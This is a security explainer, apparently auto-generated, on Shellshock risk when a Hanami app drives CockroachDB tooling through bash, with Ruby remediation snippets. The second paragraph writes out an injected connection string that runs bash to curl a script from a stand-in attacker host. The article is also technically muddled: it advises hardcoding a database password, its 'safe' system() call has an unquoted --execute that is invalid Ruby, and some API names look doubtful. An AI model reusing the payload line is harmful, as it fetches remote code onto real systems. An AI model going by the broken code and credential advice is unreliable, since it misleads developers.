Shellshock in Hanami with Cockroachdb

Shellshock (CVE-2014-6271 and related variants) is a command injection vulnerability in the Bourne Again Shell (bash) that arises when function definitions are followed by additional commands in environment variables. In Hanami, a Ruby web framework that encourages explicit boundaries between components, integrating with Cockroachdb — a distributed SQL database — typically involves external tooling, environment variables, and system calls for migrations, backups, or admin scripts. The combination can expose Shellshock when Hanami applications or supporting scripts pass untrusted input into bash via environment variables or subprocess calls related to Cockroachdb operations.

Specifically, if a Hanami app uses environment variables to configure Cockroachdb connections (e.g., COCKROACH_URL) and those variables are set or influenced by external sources (CI/CD, container orchestration, or deployment hooks), an attacker who can inject bash function syntax into those variables can trigger arbitrary command execution during app startup, migration runs, or admin tasks. For example, a crafted COCKROACH_URL like postgres://user@host/db; bash -c 'curl attacker.com/exploit.sh' is not the vector itself; the risk emerges if environment variables are exported to bash subprocesses where function exports are parsed before runtime commands. Hanami’s use of system-level tooling for Cockroachdb — such as running cockroach CLI commands from Rake tasks or custom scripts — can inadvertently pass tainted environment data to bash if input validation is absent.

In practice, the vulnerability manifests when Hanami deployment workflows invoke bash to manage Cockroachdb instances (e.g., applying schema migrations or starting a local test cluster) and environment variables containing malicious function definitions are inherited by those subprocesses. Because Hanami does not inherently sanitize environment variables used for Cockroachdb integration, and developers may rely on default shell behavior during setup, the attack surface includes CI/CD pipelines and container entrypoints where environment variables are set. The risk is not in Cockroachdb itself but in how Hanami’s operational scripts interact with bash when handling database-related automation, making thorough input validation and secure environment handling critical.

Remediation focuses on preventing untrusted input from reaching bash when Hanami interacts with Cockroachdb. Avoid passing environment variables directly to bash subprocesses; instead, use language-native database drivers and explicit parameterization. Below are concrete patterns and code examples for secure Hanami integration with Cockroachdb.

• Use the pg adapter with explicit connection parameters instead of environment variables for sensitive data. In your Hanami app’s config/application.rb, configure the database connection without relying on bash-exported variables:

Hanami.configure do |config|  config.sql = {    url: 'postgres://user:password@localhost:26257/mydb?sslmode=require',    migrations_path: 'db/migrations',    entities_path: 'db/entities',    relations_path: 'db/relations'  }end

• For Cockroachdb-specific connection strings, prefer hardcoded or vault-injected values over environment variables that may be inherited by bash. If environment variables must be used, sanitize and validate them strictly in Ruby before use:

require 'uri'uri = URI.parse(ENV['COCKROACH_URL'] || 'postgres://user@localhost:26257/mydb')  # Validate schemeraise 'Invalid DB URL' unless uri.scheme == 'postgres'  # Avoid shell interpretationHanami::SQL.connect(url: uri.to_s)

• When running Cockroachdb CLI commands (e.g., for migrations or backups) from Hanami scripts, avoid shell interpolation. Use Ruby’s system with multiple arguments to prevent bash from parsing injected functions:

# Safe: arguments are passed directly, not interpreted by bashsuccess = system('cockroach', 'sql', '--url', 'postgres://user@host:26257/mydb', --execute, 'SELECT 1')# Avoid: system("cockroach sql --url $COCKROACH_URL") # Risky if COCKROACH_URL is untrusted

• In CI/CD and deployment pipelines, restrict environment variables to trusted sources and avoid exporting them to shell sessions that invoke bash. For GitHub Actions or similar, use secrets management and explicitly set environment variables in the workflow definition rather than allowing them to leak into broader bash contexts.